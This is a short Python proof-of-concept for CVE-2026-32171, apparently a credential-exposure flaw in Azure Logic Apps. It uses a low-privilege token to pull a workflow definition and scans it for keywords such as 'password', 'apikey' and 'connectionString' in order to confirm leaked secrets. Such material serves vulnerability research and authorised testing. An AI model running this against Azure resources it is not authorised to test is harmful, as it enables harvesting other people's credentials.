The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-32171: Azure Logic Apps Credential Exposure Check
# This script demonstrates how an authorized attacker might attempt to inspect
# Logic App definitions for exposed credentials due to insufficient protection.
import requests
import base64
# Configuration
SUBSCRIPTION_ID = "target-subscription-id"
RESOURCE_GROUP = "target-resource-group"
LOGIC_APP_NAME = "vulnerable-logic-app"
ACCESS_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1Ni..." # Low-privilege user token
# Azure Management API Endpoint
url = f"https://management.azure.com/subscriptions/{SUBSCRIPTION_ID}/resourceGroups/{RESOURCE_GROUP}/providers/Microsoft.Logic/workflows/{LOGIC_APP_NAME}?api-version=2016-06-01"
headers = {
'Authorization': f'Bearer {ACCESS_TOKEN}',
'Content-Type': 'application/json'
}
print(f"[*] Attempting to retrieve workflow definition for: {LOGIC_APP_NAME}")
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
data = response.json()
print("[+] Successfully retrieved workflow definition.")
# Check for potential credential leaks in the definition
# In a vulnerable scenario, 'connectionParameters' or similar might contain secrets
if 'properties' in data and 'definition' in data['properties']:
definition_str = str(data['properties']['definition'])
# Keywords indicating potential secrets
sensitive_keywords = ['password', 'apikey', 'secret', 'connectionString', 'token']
found_keywords = [k for k in sensitive_keywords if k.lower() in definition_str.lower()]
if found_keywords:
print(f"[!] Potential sensitive keywords found in definition: {found_keywords}")
print("[!] Vulnerability Confirmed: Credentials may be exposed to low-privilege users.")
else:
print("[-] No obvious sensitive keywords found in static definition.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[-] An error occurred: {e}")